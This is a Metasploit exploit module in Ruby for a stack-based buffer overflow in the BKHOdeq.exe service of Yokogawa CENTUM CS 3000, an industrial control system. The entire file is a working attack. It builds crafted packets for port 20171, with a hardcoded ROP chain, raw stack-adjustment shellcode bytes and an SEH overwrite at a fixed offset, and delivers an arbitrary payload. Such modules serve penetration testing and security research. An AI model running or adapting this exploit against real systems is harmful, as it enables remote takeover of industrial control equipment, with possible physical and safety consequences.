|
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Seh
def initialize(info = {})
super (update_info(info,
'Name' => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow' ,
'Description' => %q{
This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000 . The vulnerability
exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
been tested successfully on Yokogawa CENTUM CS 3000 R3 . 08 . 50 over Windows XP SP3 and Windows
2003 SP2 .
},
'Author' =>
[
'juan vazquez' ,
'Redsadic <julian.vilas[at]gmail.com>'
],
'References' =>
[
],
'Payload' =>
{
'Space' => 6000 ,
'DisableNops' => true ,
'BadChars' => ":\r\n"
},
'Platform' => 'win' ,
'Targets' =>
[
[ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]' ,
{
'Ret' => 0x0042068e,
'Offset' => 8660 ,
'StackPivotAdjustment' => 108
}
]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread' ,
'WfsDelay' => 10
},
'DisclosureDate' => 'Mar 10 2014' ,
'DefaultTarget' => 0 ))
register_options(
[
Opt:: RPORT ( 20171 )
], self . class )
end
def check
pkt = build_pkt(0xffffffff)
res = send_pkt(pkt)
if valid_response?(res)
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
my_payload = payload.encoded
rop_chain = create_rop_chain
data = rand_text(target[ 'StackPivotAdjustment' ])
data << rop_chain
data << stack_adjust
data << my_payload
data << rand_text(target[ 'Offset' ] - data.length)
data << generate_seh_record(target.ret)
pkt = build_pkt(data.length, data)
print_status( "Trying target #{target.name}, sending #{pkt.length} bytes..." )
connect
sock.put(pkt)
disconnect
end
def build_pkt(data_length, data = "" )
header = rand_text( 4 )
header << [data_length].pack( "N" )
header << rand_text( 4 )
header << rand_text( 2 )
header << rand_text( 2 )
pkt = header + data
pkt
end
def send_pkt(data)
connect
sock.put(data)
res = sock.get_once
disconnect
res
end
def valid_response?(data)
return false unless data
return false unless data.length == 4
return false unless result_code(data) == 0
true
end
def result_code(data)
data.unpack( "N" ).first
end
def stack_adjust
adjust = "\x64\xa1\x18\x00\x00\x00"
adjust << "\x83\xC0\x08"
adjust << "\x8b\x20"
adjust << "\x81\xC4\x30\xF8\xFF\xFF"
adjust
end
def create_rop_chain
rop_gadgets =
[
0x63b27a60,
0x63b27a60,
0x63b27a5f,
0x61e761e0,
0x61e641e4,
0x00405522,
].flatten.pack( "V*" )
rop_gadgets << rand_text( 1752 )
rop_gadgets << [
0x61e62aa4,
0x61e648c0,
0x66f3243f,
0x00000001,
0x61e729dd,
0x00001000,
0x63a93f6f,
0x00000040,
0x63ad1f6a,
0x63dd3812,
0x61e60b4c,
0x90909090,
0x63ae5cc3,
].flatten.pack( "V*" )
rop_gadgets
end
end
|